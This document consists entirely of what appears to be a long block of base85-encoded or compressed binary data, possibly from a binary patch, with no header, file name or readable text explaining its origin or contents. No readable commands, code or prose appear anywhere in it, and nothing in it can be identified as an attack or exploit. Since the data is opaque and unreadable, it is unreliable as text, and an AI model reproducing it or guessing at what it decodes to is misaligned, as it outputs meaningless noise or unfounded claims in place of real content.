zMZSc5e!R?AkoK?geWaZS{1BOoM?6%=hxs*<|At49F^=+EB>x>xqpBfy{+-#q)5Qmn z_(48|t`+>G?0g@34y{|XM-tx}=4&OdLe8$$yta=2S{_64$9V$j&wHLk`ZL8Pl2Z)o8Qq zZQ%vToG#?)e^CGIhD%icM%F*Hevr>cqx=^6&h{OTA@2#tc>)>xd!9t@HO14Y&MPia zeSiDdYgFsxiPxz9e*7QlKXPpYuR{I}nbq8m+^d5(A!~0lZ$Wal@<(<2W8Q|;VLR_a z>a&}tQT-d{T%wxaf9$@<8ff4-NFN$`E|Sy4V|9F-C-UFc`Foy3>O93IvfhfPUZdKN z&%FL(wzkEW+C=Wv!~_3i_IWYLPm!PTJ>xHsJ@_TRM4lEjZ)w)kl^MD}I_&q4NJBR3;sZ{c~!wexvR9be1qkhQU%+flvW;BCmY z+j$3)vy*orW8cktkoxcClSuw4?nd%^_&l->Kjj-p&P~3B?7`dIU&rt8U1VR}f!^)Iy}gSkiC4EkJRy_{0Z_M(J?+=$4~G{ zWX+u7Ze+joa4*uIKE8(Rm+O2Nx$ix`k6inJ2at6#$d8f#Ke#76iHvuOr;(f)F6(&l z&(s9@jL^VykhyE*1xRfd@+#y#;c6bKi*Sp)BQ4B2<%Jb~)H6Hg-VA*Z-R_1^fO zdyUk&c&QIaI}N-FnY-1z25ECGuS0Uyb0?D1#ru#t?B@e@{2(7fH5YuLj$hq zSL*mx{tT(l=iH0z@jjkJ?lr|_9WP#ajp{k|FZ3U|wt?G`es=ICq@J638}fTQ+j$p~ zvzzxIW8BO8>iB*>fSmIOxf}UTqlbHucKUb#X@8I(BWKhTE|F`Ce`!vUHQdN^ky;DbnUMevah4;IEK&zUH@e{2h-W*N*c9a{j;PNo4M(cpAx> z;S$w3FzoC_p1Ezj49Qu}E0A@vl2;-5t9c#rnQlF|BlFV1+mM{?ya#D#FPBJ8@oz>y z{0?%aeIJK>pZNiY#2a`Ha&05eMf%^w&B&T;;d#hjp3e)A{Dr&-*>{V1RUKc=zXsW- zA96@-*KkODEw4k`Svlw&$Y<>qZb$0h!JCjZvzfObIa_%fvTnEY4rDAlc^5L4 z-Q0=fckw=?5BvE5l7Engkep$Djr^NSZ+HZm>roy<#xl;6Nd6R0BV(E2vW^#{UL)^^ zi|>wp7}B5ba7a7f$4lz?QeK8U`{9oMs7#y*}Y>CbNNMEcytpCI|i_&BnEPjEMK-yS}V)Zq+IBYmFX64i5X!nlyW zHSjc2pBXNZ{Nla!|Fg5>>f>w3wb%JRa^DC15UJH89;oAkJTz^bdH>0;k+t`RN04hr z`7KhDcRY#YPjQL7e=cV96B%yELZh&UW5`jB6+Fs^hzP5Ar^FFLxsAp^JNq?^f6L@inCV>wE*L!%gn5<9GNj(zkp3 z5V`Lo{-%z9%hPpyhD%g6`ObGgY(@Ie#;cHZwVKxBm^xgV*|9UiFTgZvn2 z{|P@u*6K5UjjZ!GJc9f@ca+EK_&84>&$ahl*72gjYoyM__kZ`pAyj8RzeZ~NhDYl7 zD8EJS^^V8t_&AqHe(?j}{qO@Mr-7T1ezx#Dq~`N^0WyyZxfK~#8?Qn&FWipgbnpSB zor8P`nbX631i9ByK8fU<;%+3ThfgCpXZSpl^C@3I#(R-_>v$jcBYWWv-$my49^bFy z5BMSS9_A4bAblR>A*B6boNDK1exv*xG|a^D7SM*7ym3y}LRUCxXSf%cqdvZdw11uNBYk+l19g0mA0un#2|q>p{EWXq z&b=@Bc^!YjLrD9>{2KZ0;th`>V;|>9q(4(!qFQ^6UeBHFf6?^a57!{^wY&~#b3JcB zuHDGn>iBl{7*Y~*%S zHRo+e{&w!H<6XQDS#SIK0Mh@1dO+>hi@SHH~Cgx zJ40^sP#quU64k#m|AW>Q($5ASK>9hzL&*FNCsxPDxkS#}qWQZY&PCp@HgPi&Z{c~! zywB$a$QT#$B4lkZ=2m39ZM+1@S<1agn|*u@8P|2bfy~!UzJ*+SoBNS#@9ptO2B-NBKCie@}2X^81!Odjj{48LQAEO#OKSl2Kj9()8uXqTl!!W-_^55_Xa;}c@TcmIAcnrCAoG0?%`tY77 zQH_hIkv3e}=4?&$+DQ z#XM~y_iEq;NUaufYaMUnWk{`-^D3mDt9c8Ozm-2i_WQ@Y4H?&V-i2JdoA)5s?&VJ8 z-0R|#NIR#v8`W9CXOXpZjxQkj7r8|8i~0JG)V6`2BKLj9Um$DXOMZ^D`GP}oewssa zeun4%!r6Eew<2d$8!tinzm!)XbzaHsNS!-)6VlJkyyX|o&evA{2)XuS-iE3syaQQp zJ9$?f-_3iFeYBT5k-gK!`;cq*^8uuW2l)`v|HFI)*+)mYMDmLT`iXoW*umRS^?`RF zecQ>qkg@FMJ;-|7%L7Qw2YC#+?>Lu8eTs$7Rb(tJJP)bEd|pt;7xE(Hz4~JAtm9q0 z4;k-%K3>O9@JZwxKE=ItypL}n{lCfm$j@%>@I#~zk9Yvd8RW-EeV*`hBZN78NQFy?Ew!U*ADVyDxg*gw+2qAF1Oem5s%dIQGSbz}V8E+eJK<0EKwn4co|dd6QMd-h9y zUdLbXSIB+8=9hK+6@OF5zvUrhzJ_@cX>*FFkulD2iR_EwS9rZ_cHI`s)fUNb;d!Y3 zR+LMmKgF+fMj_`?BhN+Vu8EtG_141e$k;o0Qyt&TTk7~${wS~W9UX5&_ReETN7M_QkGxK=?vL+YuQzYjZ&sjOUHX6AZ`Oc(;pCk8u!CxWm zf6ZkbFaCS4QLWowZJ#3Fp*`XOD^IIN5 zzH=VtG345Dp2&Zz;d`D$uASl%)%SR-%qdc<87@)H>1ty{&f6AlMb=~+FA46ul-uig z2k$~^xSRJN_ub2#sLoF=k#>q-V=j=IH1Hgx%|@P!oJCFCjI`6j^N@8lpI0IIt9cEw zp4aj^WG>e824pTaawn4C#ru%`vY!tiZ64%9$l5#1$C3OKd=ja{Degx4)5E8ccFyns zl0V3gk^Vg4r$}v|af##(qN>kYuYc|A+ADsYS|Q_V;8x@;YU3ry z->EI-Wyn~T^NKpYl2;+uuI6@BpG|lRQva>It&VT!T}b|J-h=$yZ7-ikuKkp6A!E7C zlXZNGr;)MGa9PKTb^4F2jRszT%*#S?L@d!9scrg$2euNf}uc(LBvKz`13 zio20Bt%pw|?VRDWNX|JvkM!+RzJTOko9M?8R@ zzhdq2V^n7dKSgq$@mENjU-L`kzOQ%)IiH8QL~@E>Z$BdUYUE~A=OoWVwFh}o9be3y z$i2F_tmDOR@EVC18?=dxrIF_%b!g(TIzGQhw&o$4gCE`{0BH>jB_|7-pF&2Hk)`AGN-G# z9qC&KZ$kRBnRg*MyLk^XFMGMOj(71sr2YMT06Di0@)6|Pqx=a{hhu!aj-TLeq_#bL z8u^{TGyD{}_8EVH^zBQ2j`aTpfAE`Ta~gOK@=R~!X5{@w3(rHYozDx9b7LX5B4cdh zB}o2K9z*iSc>>jYLY_p<^C@os&Gq|y-h#xp@(?nXVSbJD^9_$6b2rLwk+c0Bk0JTv zJdyua+xI+)%;^+QBj?x*m&miY*ktTTts1x+`5AN%pGNY}@C9VN7kL1w{~$j_#`uiC zKytq1=g9l~7d(XI4D%$?{uEE6TAy4ZV<|RU56JVVi}xXI?&l*&osaTyWR6a7H_}cI zUqG(C$d{0u%X|gt!&Uwa>Hp_Eg5;0#TjZJYj>qcwIG3pQ&TsJ=dEOPj)!IPfExZ7! z=R#hD%+X?QN9MGHHzD(~nYSV9d^_(z+T6)|>iAyn#1H>1KQH5bNIU!a0P=5a9^~V7 z`~-I+wdNc(5_EYi1g+>5l+$Nk9jNY1Bx0aYLPN*%w-pCR@9 zoNv_en|up-e|wwzkviPrfjU0OkMrN^|Ab#6_j<+OAocl{hmiUY^9b^}Zsj+kakA-EwV@6@njvJ;%Q`E&2U-Ai{I`w zl3#peU!d9-yZ~7z3%Rw9xA79>UQ7989Y4k0$a}mVK3m7n@m=H$zsJw(_zRvu=H)$? zb-ei4YozAI4_k*wO&YivX{Uu3A!}(dZ>i&3`6Hywk9k`i-_ARbdD+Rk>iBNngN$)6 zcOqw07av0M5AzUm-(em>&ZSXq{T;J=r;V2&pRbqlDkOh3uR-d$me(QoTF=u+&J35x zx-GUDFLK`oo<#aH#nZ@mXSl56#dfce{Ni_djcOi$L_5eDYv6ulzV7e<@-y*4Ubka* z{jcW@$h|glJGTF&?`-VgkB~j`G57AA&FSN7$h=(Ve&k+v_-P$~#(RF(YbKK^8}wn-Z!4&ZlqQ{d>Yw1XZQxv&zn3@#|QZ_(&iH$LUM+A1gY&PPt@`E zJc-n5ic6$##qahS)!N&oCa7w{?Z{s1;BKTQJ$xF~nZxIi{7?A;@=U+T59|0N9zfnR z5AsMIALX}5JMVa`j*s&ss($h`vX*AJMAk#G+xd(<>l=A4a&|RwGxEG{;RSVkAumGK z>SAuM;~l&OIa{{!No2gIxEs}6@Fip|UFOe_F@Dayb-a(SA?x8fk0AXS<+sRp5$|{m z`R;U_Cy}vFaf!@h@q5$?8SfxJM)IFlMGMbE`Z=E$AbnfNi;z9Cm|KxH z+jtdn?P}hD%=<=euj3uO3AuJNmwRUOi@oZM)W3;`kaKmI-y-?%c&v_(^90hL_dJQz zaEhmq`JLesIlGGA=QZ+tDSp5CMe5nebCIz(@w)x9pRLyOCZs=`c}pGN${!*5AM>s{ zzMJE>W%RKj1a0I{ZO(Kvf5xi<}8fT%y{u2b_Dz8ff4-NPil6F7j+@ z;%20s7M_P{&2VcSZ{uaiwaa-0a%QgNRY?A7Zb#bb;2lWLPVTJZUAzw&%YHt9tdoO$ z2x;dqUqRZr%AcXyQ{0QJ)jl3T@(1}b^8X3@giGYw;-J^a`BVHMV@K9@BhN*iHBH=% ztj`v1M{+uN3o_oV{1I}Ve9YUB`)=ocB|lPvEC@{24z-u6@Bn z$hE^fhKzTdH~it*oQ?bma&8>slXd(Qch~VA?nTx{AKyUQzsa|d{@mt%r2RWwB00q& zuaSNhhrL(%Bl_W)evU67&!CHZt&U&k8%P~)@+~CiHuu-@J3N52GssVodp+YXkbV6n zKS%oWf?p!fomcz~lJhMOp?ZGtB+}*-m&iO8N33(C{RZwu+UetK$UeHxH;^`OazB!D zhwmcwxySdBz4L$vka-#8$4L86_$hMjGyVcOH@@WQIzGcC@^k0nsMmjVcE1;Y%xk1> z#V7iV^rwN>A?>f{c2xU_JL`BC??dXapAR6{9^^yF8FiSCAfFMA@+Zhxj&V2Aeh;5U z+Bw5F>iA8*RmX30KeB)Ca7a6Ui$m7f-{!k@{9a;6`-A)xnU`n$1@iYAU-A%=Gt47M zA4d5tQs;ME9-GZ6{nAd<2A+e|zmb0qGS@$sLq1E+ z<&bz2mq>nb!fWKasp5a}8fmlmU%f{9Q=IhdM((?qTak6r#!GO#&v>~VnWGLqiR7Q+ z?mFJXH|qFJzJi8f(M(Xf{U)J$gJc-nNipx4)oKhd8pAB3h z&%WYMildreZbjW_J#jt}w>l0VFob$p7a>-Y?p$et~JRR59uMs7yVPhy1mCaY4|o98T<~M0K2P{5a_uwz0-4`0`8iV0 z7d(XI4D)Lw=MBF_{{Lv+@feab&J)PJ-t%M~pW+hLGx5i~M#fm2ws(+wt>jfm`>T1f zj!$uk>dZM~?vQ&m@Eqj5K_j;!XH*-vBRL(srH*gqkCA_$>W6uxj*s$NWF5ZaF{JPUPAy-iNG{{d@qa z!$B^QoZ`=Tjr6TJt3SxS8o5OE>^`RsNIPvYQn#hNtd1||707s3@+#yr=4!ryTzivm zA@{n?{m8xU@Lgo=_xL`N|9}UO`V8_|9UtcjcKFsGKWPXSF zHFAc(;gLE%%5RbUcRYslXPiq^YvZEV$eb2G{@oA1gRGzL;}4LZ5j5}|B)^g8BKKieY?YVk^0}``*r*QKSbv45f30a zgIpqQ7MJuNc_udUT;#KG6E`D$ZsB>zedlvKlHb9bkQ#30--5LHTRG%evxP(ATlpg- z|6|^Uw6mReA#=K$kJs@Nd=mM0Gfr_gvLAc+EV53{@p`C+>hkk;qvlqJH?+@6C~cm%aHxDoL3-YS;?!Ad0)+Ikh-nqA>`U& zevPc>H#~ymkMbmvGsV+Lt!B8aR$nQ#h$A=l35 z1$BHOw<2|D<0Z(??3VHhPu^;9m zb^IuQg7p6wcO!M^;Q{1XJjjocGxiBTMeg;Czd+Ximpp>>d6b8KYPLSZJchJC&eL^# zhD+qVYw?->AlDw{Pmn$z+>3Uzg_$v)*dq6Ms7vcZ5uB^ zu3gH@keubb0{I=em0Z^G;xAjz$a}U1UWPn7mh%c!`;_Ngn~gW}H1dp|;S$xq5qI4> zN8a}?6P=lBAWe~~XC>-jSG*YP`i7g;~|_&(C-2Rw*e`wuvz=Kqk( zI$qq+H&lJ&4L4`6-N+?UpW?5{LDozIwERnl&2RDma<4%iLbZPQHS*s04UZsgj`B3}%$ng6$tiAm zjohoa?RkWZv5A|J{nEnokap(t0;K;7c@Z*Si@8Mg9{6vVBc#m+o`alejXW1w8%?~c zj_>9@$Qq_%w2coZ+)|{2X6E#(t46A?NL7zJko-RsIaA)#rR4Y4ZVh z{>|BOb@2gIXC@y(_S8}S1R47=K8}p{1b5f*9zKiIcWGokX0LdBT$4Hw` zcnJBdI?S(;y1n5MRCC84^w;&|6-b>|@){&(Ew>}YvR0l2(7du?$~`>56c&q4AVc`hBCmuR>!yVPUPC(#k=bGZr)SJ_i`uloa*A{zcbrr3$H`QyPh{7XY599 z$B+EvcYaj|ZwYd?@<+(MKIUymf41}QL~8pZ9P)W#2ZzLW@-Ac@?&dvpd@pw*?RW7I z(*7`y)$wtj$bYNDd!9tjh+#JA4=Uw~6lY zeWVW$xJ0!c{;Ai`>*w_g^M$nE$g7a`vzpf+bGnv0QH_Py{mg96dTvMh(81e~eYBl- zAb)?clXoF|b2sln_1xr6b#rxAbsA;o&Rb!r;86D^L3C<*6~x^john;Pa`!s!xxa}$VI+{jPWw} z*6}{>N4562tmDPMR$ElHi8gkgS_whmdiR`40(;zrx-TZNZ%TH zF0u!kcpb9u*7F9W&l|ZN`T2MUcOw1i;v>jsnWOwC>iBW)Ml~0F9;xA{Tq5lk|Hfn}KH>pXpOLvlt}WiE6*7+vJO?=k8hKeAU(TzLb6_>ELDtM#UWaOp zaXV6n4&H?1Z|0GIH=8rcZ;^4m<1ysBvT-g^t)+jjKS)g)cn*@^$a9hNq>1MtYivF* zK<>4WS0U}J<~7K*Yq`CScko9@|3Bt!$hF&f4|45Z?yTcoybrn8em;xjoa6JzwV(0@ zRCCIgQ0;fVg5+Q2&yf7jd8m#L^K0aH-rn#?9UtYlb^INVA?=Uz1hU89^CZi*}1 z_nE{;>Nrm$`7>PB@nY0#WNjDURcGYc*T~JtI%(l~$XMp{5me^`ccc1UR_;aCSRePJ zI(vBlsq-K|Mt+X=golv+4D)MbAHCtXNc-;+L;5hz6ZvoBde4(cn^QcE)N_VQ*TbhhZK;>N(19k@DATXp<4_apOihwmcq;qUQ%B>w?FMEdrK2atIgK!$b0Phya35r$cvEn7jtVJZ{sCM z&6o1BI&RT?*p9T*!JCl&Z;p}oFk5;0|DA1rhD&6Ai~mpiNDbR~3DSq9ybP(;a$bkz ztmh5L@1ktvc4Uuq@C792B40vka+$9n>-H*thRo6D+>5l|$Nk8)cla*S|9gDDjz8ds zNZ%gu0J4?_xtyH6wwO{|cmb+w8FXa-M-{QYmw@7{iw1zR10(erJ+zAnW`l_ao!I!(&L!I8WB`DV|2= zafVBz&EjYE8L3+X&q4NPBhN+7q9*RG<9&Ps)pM3_A?xrq_aoQd;UT1N!~7bl$r~<_ zoMPH*RO@HPeUWplkz0|uZsT_3ob2FDsP-~%LC&15{1MWJkNF|;{_qhGAmbY3A!P1` zxkS~6|LVT~ZFcS&c?5YzjPhILUhjCUj*oMRtkt4a2c-R*d<&Vc+uV<=+dF(08RI>^ zkM#2a51{HBKSuJO@K=djOJDQLyw?6J9zxEyVSbJLF2@@lLE0SUx2XEe)5x_mTp~F| z@x2e5k-2E$dC2_E=LJar7jiq&pAO!Hyg%Q}TabC*%G>JrcHV*9YbSTs@h(1q-0L8B zBYo)MAyjLFUn6Vs4UZtt)=_?oYAiff$H#dBY3DtcsLuTFeDA|nRC|*Lw&?BM~V{Xu@5xG_HAFOYroB|k^j;R}9=tj||GUB_p*M74&$Pn)RDdHx4T4gVpB ztkuW-ypF%%64kl!f&L@UzBVqu|9jOsEPlXiRQq(!_xu}o->d$9uz|NA z24qe*ay#<=s)IKn`)D(7L*{fl??A?~lXoH4?&dv6`+K>&j`#3cWFMX53&^^<$i2w5 zecX?fgl&kaOuE zA3|~t^C!rh9^>P6`~;s2J|mpsZlrHL+>7e{3Ex24xyiSXn&0OBI(~=mBKi0DKGM$z z{1B*GO&O@LOcQ-tidH&Nxrxznuf`c@mlHDV|35=?s@h zJ&RxLd4aS!pBEr~Tgc0hy|bKGAZ@PX_B!6dn~?p!nWq=c=Ff16s{O_04(US!HzV;D zo`xQeA~}701F73hzE#I>bAKJb!*`MOaF6dJ^Z0-tBJ1!G zKS$bp!Iyr?>>9hwSCG10Q?+rq1U`D}bOccWS}e4&nC)u z_q2^X7iqJJo9lQB&qMO(b88)M<7LQup5?p(soP3!N7h&eZ>r;)`6N=4Q{0WLpB}z| zoM{*N5^}H0d*VOT~ya5^GMsBa;9ef0-$x;3US!2iecpX2%Cy_p!;%?+UNe`b! z-W#0Zv&b2Ej?W`!$frDzxPA`uW2B!?coMnq6i*}fo#7JIXQE%Bp2#|B;3LR<9p&T5 zIy}KAk#+dKZ?!`XNP&q4ao$aCv>6E`FC(!$e7&J34GJH;C9AbYui=OA@x z;)_RTV|GV(ldX2e%^*hUoUuRtFW^3ER^N{@c zya2iHLT*L%EaPQJ4VUu@WZqZuIwWU3w#ib^IuQg0z2( zuhj9Y{8Px<{)|I@&-QbEh_v~L2arAw@?)g_Pxv1p{rtxq(zmA^5`V@+$Q%vx7_x51 zc@k-VivJ7Jho9w;K1_2+e1=Qp+G4%6gtXtlyO8yoA)9)zmG%Wzn_oP@uU0+ z^1H{!c(RU9@ig)s<_wp0yx6GE$k-eBK2pyIJb*k;2l;6of5y*|ee{A~*6~;T4XX9e zLr5Qn`7N?O-|-mI{y0w}b(`Yv{Knb%_i=dK^TDtCfJ5>dcn#yZ=E>hQ8=vB7{K_BwVD$`_$os(JH`_@a>NCn?$od@T z3FN!(_dJPw2Atw)WM9v4iS)VnZJxQvb8t1UL2}mex;nm|Hz4b6BX6nWTlu3p{xNsf z@h;wne80D!57hC4d<3b_QT_y};W0j5$4~HSWZ#|P3rOECa{1e5*I4n9IwQ4h;_~DA zZ2w{Ng2Ws6A@Y6EBOX9%HONov_%r?j8P}Km92xryeu-TBioZen{4Eb5eIDl5$Ub_* zBgp<5@?nUzZ_!{y%X4m-! zvQ}?$Kaz8Y?<4#10T0yiL4I1tpYaz+t-j>vs6G?%G}6utf3R(~od#}4YSqD8kXmi! zkC4x6AM*hu=O7=dwvHfkA$Z)b;j_rK=Xj)!kMdjOeb+l4 zL)P{5t{oZ(w_ z{5JO^{lCMHk^Vg4r^vO>_zR?OU-ENQdz>ecoGI@9J+tv19zbO&mFu8>E~wN63o|D{s_tWm^+bm*v0#he(vW3$bAp;A*6@hP50*31l-$eb2? zy++Qu;`cebkZZT|4rJZ#f$5FydULHkZ~R3Zls+aK8^JG44yXyFE-h;ef z+RL4Fyo>iCW7*F~>iALq1UVaz@o{9{Pw;7^{%80s(w}pD9%<)OzEH<6@)hLTt6bLc zqDy^{{01KTA7|I(I8Pw=ea~ebFa9U_sOri4kUs3^14#ZsK7{Pq!+Zp}?@{hX@_RUB zu78w6e&_th_3qVJA4;e!}s`p9e=c%Y6C@{N77eYnZ}$o$^n0aR;= zOQg@me)EOo?Brd@9@)*^b-ahqqpB_UBWwN+4lry8Uhr2)-@fLuju!`Ai|RW8ZbjBW8!tibyOft9-{&vqb#;6_ zZ$Qr5jogmZp@X*|Jb>g6@?)evPk5}3kMoT~vupS!-$MF% zoBNS@xxb|A<;4XKVw{McQfN zX5`uyUV!v@AumF57ISMIZ{v348Pvg>kXmi#yU5(#;{l}4gIpr(wm6~>$b04nZbhCo zZM+PbqvgD=j<4r-RQKWoNUaX?A!N@U<|9ZSj`DG&%@ceQ8P_T9M#j~{y+}?U4pwOMA~`9-ymz?TQ2K(anyKGosB#P$!X+fWPi2rJmhaS z=kuaEzL;B4ty|ty$2W5)Qrj**f~>=%{0Z{&f@6Ff>E{XVM)G^O7pY+%UqjaXb-sc0 z=O&LK`QtoM$KUfLQlBZFMsjAjM9z)kk9v*jXUc!fc#*x($Ug^J13#BTzRQ}+A@L?| zM)F&D9&+B!=kk-;cyUad$XU_I-N>~)d>Xm-3{N2Q@}4jJ@!9xA{&8gNKfxjAcFuOa=p&NqBAkqi(Gq;?<4#A0S_Sk8RW-E z&J%u$wE2v`K*snb4Hp{4i?rFt50RWlJb?V} za?TfLo%t7L`_RFgkh$2*2axs;@*!mZ9_AxR9ggyGROcR_M9$Sy+>M-3J$xQ{4t~n_ zk!RKe9zdSIgFJ+M&o;~>sQ%`cOH^y`qSwgzT>Q9tqFT>92YH|0$P4QD!o=$MdoEG6 z^AlbpbuKQs7S*-92zk%5m|KzWh}w7wlCzXo<-eVit9cEwmez7RQvVL#g!FSWA4lqc zf=?p%J;mL1yoYZfYwRWuAUT8l6zTIbevbTGQZM)`Wb9w_5YqlIPb1gPaEWTXm%T>T zPx0r~4QZ!=r}NraX1GLkHvR=QK~)o;i~K!W6E`DkvV~jgcpEQ4`m>amA=fVF6-eJ! z@|rrnme(O`X+4*9yttxGq|a@<1lf;Ec~u=>&1;actmSpcI$6&fkg;s!64ltRdW~xA zKWXg9dDXxrs=f15;;7y;aQPQ!bBeztj`Y8Q=OANjwN`M&n`ZI^z$Hh*YO@6K>9hzWgRd2%mvb)7M_Q!xB0xFjxXdzNPiad zsye=!*C2ayEpMpf8@auXckm`uYnZ!{+V*fSvVZ%yA6fHv_%3pu+~fPmzIecokv=@( zZ4YLz-Okhh_w0I`;SyP6#s8!KNX-{=D^kNYZm;7V+=;Z`#V70dDegwzkM(dba^F6_ zfwX^<2axs$dCnKJIgPvxssDEFMD}ABA3*lhK|X}c#bLgH4f(uwoo^uP z>L&Li`FHqk9lyu->-dAb{&KcI5BM=M#wYx;j=$n>kiGLQ57qHuob-s4Ox5F`3CYG;7z`T)aN$$Bi{+! z;S#x5@!UKjbK1e1koQ`fxf9i#@*!kh9p)oQ4Ucj+^4#g+-a6jL{mAp~4i6yh5Ati| zbHp1SLHaz(Z;}4IoQ+KuD!~iA$|Cqdy%p9@g#EX6o2qDvpEgijO@o2UVxmL3waT$ zXBoF5*S7I8B!4-tK;B=iF>gcixAP9>}eJc9fk_b9(b#`uoMko%7F z1hR(T^CWWZ6i*{_G{YrQx8f_W@&B`Q|M6MnZ(iTe?!*!W3p%5qj3zFuprGJ)P*BkO z)?+`h1_9KVFa5J=fzppL2bFo^#(YGpWD$#%E*=7yra(r2XQb8c(F1ZeE0( zEsJ?0(w9xV8P%BZR^;EC+s1p5-)i>pQ6%RWx9WJCk0WRA2|kJBoZ`>(&-Tj~9P)1Y z*LVoY8RjpMzI?@(>-ZJEik#us_&Tz#ZtzVU_TL@7#bZc249e=?uk$HK= zuaU8R!zFTU@z`f%{}xZIRaDPboi9T6MKy-p_;#k9Cifuuy?hke3&*%s$J;!BTsz2PNX|GvMV>X!_&Ks3 zUhqp)XBwACe({}W95Qa5JQulk9#0|p(_Gf^;$O%|mCs9%oTa?1jxXmG$b0@uZXr2s zK8cLaDITih!+ah&LoV>eI(~^SBV&7oZzB8a7LOonW|T{${o-G$4VlwUo{fyp9G;8h z%;WW_=AB27wK2-Kk@>yDC6ZH&SwF~k#&z64?%U)N)!G}k9*}k3!LyKc-pR9(KVzN4 zbL;p#ejmyIfafDMEZ~L6eLv(bq@8YFg5)gaWyqiVEaw$S&Px6WX>%2?t>f#sfz;XL z9weuiUnAGP;VESOPjiX1U;HcWAY;Cc8_0Mzxd(Y3_40aT&1~S!$a%Ph`|5Z1+k+FKhW5_u<&Lyhz z`Cq#Zsb>K%MDjo6F64KrZf?}^CT~W@Y71{i&Y~UMhm2c4??(Eyhxa05wU5V;n#cJm za<6ARh14^h&rfIK(_A9sP&~7)kajwF7Sc{9&qnS$hc_c*wS~7M`8)V%9Y4k`q_#Gn zM9#NUd>UCBXLtztZ*LCs2-4;#-$wS}9sWtAhM(e)cdEM_s(Imu$hD97YvkH*_;DS7 z!rvm_Yrf+#q_%M`k!y>8W4|D6&g1uy{(ivok+rvgyO7^Zx_JrG&Qe}o$Jg*$ z&+yqgevYpr`8W6`l5>kkka-;CyGYJGZakmKX>t#$_e>r^*3~Hg$cve?y^l*|oQr>J zEg?A_ycSu{>$ri8d6U;8=kNyJj^ym%K4fhB`D5f6{R!``<9m2Nl7D~?B5U{%Pu1~h zE|KqF#lO=(8X)ckR;-&gg{rBs*>)+4xrJEbbxHWk*vL?51AJX4` zZXt8g<^g2=4Du9G^E8*pyJhho)Q0r&4R3vI?(@FN+mY{XJ9sD3<}U6-wSM?xkS)$wtDj*QO>o~q;1T-Nd8r;Qb|COdc* za;A0iVWhuD_$YGr9^+OWZ}R~1zB&gX3SULekZXJs$+^WNNZ&{K zHnI-y@LeS59^Xgy*8_f7#~<-yWIa6Lu{u7^Pm#0t8Bf&lNiI>n&-{$D5vh3&H;@{d z+=KMDmv7ebTRei~k8+7>zq~bW$e%5C@@!;Y=5UFOXYtNBBiDBDULJf4)8&w zwnIFDxUA#Fw9o%(CSLq!eMI`+!LyLD>g3tT zx|+jt>-ao=A6Y*i@RB;dl$Rm=Qo}m#LF(+~^~k+8@MdI8w(wZ-vWk!M zOCA3l!Md4f+O?VRGzks7|>(@33X_%f1nh5sJX-@nfx`|&D=#IJGr z-piSN(cv?yzW*G3MD}bqFG9w4F;CR-NuEOWZpLLDFa8T-g*_-P}N)eNFB` za(cN$b+&X`Z>aVN&qj4l@?2zX&*Npt_%G+RNd7u*AbY&YLrDHGUqouS#3hnn{9N}! zwYGUSGX8V;ZXLhJ_mOrU@I$1XNBlKX|2O;?*)LCc3~6(mpCfbkf+y7LwoQ0c5NO`8ZPZ2|kaE?FGJxTq1j|n5|}{hHhSgGsws5_zC_L`M&uXpG4|8 z#ix;L&+u8KFX#AT9lyk1BJ24pzKmRZg|8yxd5y0l?cCs-$os=B9zp6Evb%^{PIL=Rz_56&VBhSPaJcVkFafy8IC_eD{7uEav7ds!2doAY`$ega^ zvW^$?oe#*E5A#K2&0OLyk#YNqFC%qc;p<3WZtw^)r=xrq$+^d4NX_Fsg|t7-C30=C z!1_e?at9wp=J6P}kZapqBJ~%)L_Sh~2hT$GMJLZk>RiAJkum&`yHKrdUWBy2n3o{= zOL-Ym^KxE+oLwt=NxSitDsK%Cukn>@fFC+7Hg-4JYM)@hymuFno z@!|))8z8?kuj1864QqHU(#|?=AvtXxLdJHON9y<}-$lmu9zU$(kN9h3&3waU9WQ>R z^^D|q@KIzf9pe^KLz@SX{WZwPk(?9!DN@5{d=k}|@DP$S%;%ALzrbH2`Csv6B&qdbuJRU=G#`!6#ao`d;8;f7%T4ayR;e|-fhul@iySah1)8vgvUpDbkB>xz< z>Uf)nP@NB4B00scb}yt~b9gS2GmqyZYhwW~spCs|8FJs{yaLsk#vdVLwTgc)(#{WY z$UFH~4vBB$?MQ!j@J{6K&+Otqh_v}59I{XQI3(WBEu@_`e~P@|!A#3~lIpjU+Jr0R?@GNB9I(a^F?E>yXo;%(A zE0Fvj;E;9}@sc{el*f>3$GJqtu=q8`6N#_lwMc*0aRYf~HMs|=zn9k|IU9I?9Y4TB zb$po5BV%}hL(a^<#TSw9+L!n;QvVe$kv5B8tM5pEJ9ri{hMhdOj?d%wk(xi?>vjAF zkJRx|zKyhhhaVzsKH{&D{qhYzuH#SmpCRkypL57s`j*G)_&7gB&ZuYn9I4?2zeL)6 z#jlZe-tgPtynV+LNDY%*BKgG%{Y9QT9lRQ8a}77@c$3#7&xH-V8yTxTycani_VIq? zz6ZF4^u5iWBKe>35VFpP`66H_>i9U9b-eg>>O@s1&q8YG zpK31-{zmy^NuHwzneG7)5yL46VLihGdZ0+g^bBGm&iC5YxQH@OwKWGA@Md}Mf!D( zN057s@@=G#cla){hVSuxWSuKsJx6}K`y%-rT%!8E{5#AwQcou@M9#VoxvP$M^CG0q#k>N^S;?!BHrMc4I z>mJ`n*7E~?h+O-KzeeWh8-85JpYXRxAHUca!C9`?n3grc?q)imh!_o{)oRu`uhz(uH#SmTcn-ucnn$3Kzmh*f-uG5<0~y;UA4Z;2M|c2P ztAqSGvQNL@(?~mK_$+emIUYjR%rIX>z6)I9FOmGO_%ia0zQR|LIP#quU5#-%< zly4*L+~F~#U*lY&TEm;2Ey#N4=iA77zQb?o_)qiCAa%aw$vXZYIVAqG95N159I7?O zC34?li?xKThi+bkJdYOh5@dXq@-k!`mh%dvk1M$kxwfBMNPe4-Bl#!zByx70;vpn| zm@n7yD}1w#-{O%vKFTGkI)AS@LUktdEM&|(c{Vbqb9kbTPx2HpN7G!^@#2THgVfN$ zvyhrQ`IjN%|I0Zfr;9_i*Z3o3y{+Qa$ULs$2GUNGdyw_t%j=PAH}FPe9yjshI{t*e zt>fSESREhdr^xr#XZ#$Q(-&N#S|?krJ*0*+d=~k4OV9C09UtY_$XvYPsckd)(_A9w zQt`va1gW`$=OTTX$M4ti54cgso7{t(C%wGCjvwHINIQr4a2-FwEo6_kc>u{7P+Jj)!O*|<`h{o9lRE~*E((>IZf_E_EbOb zM#g6k??-YDa0~N){JkG+^8ixYAP*sJ4)b~B&&n_GMWoG3d>J`=uf)i;qx=xbf5cNr zJJVbu*A{=keUWEzz@#jd*U+`rl{|b*Fdu^0&Bja#~?;<((_&)M1 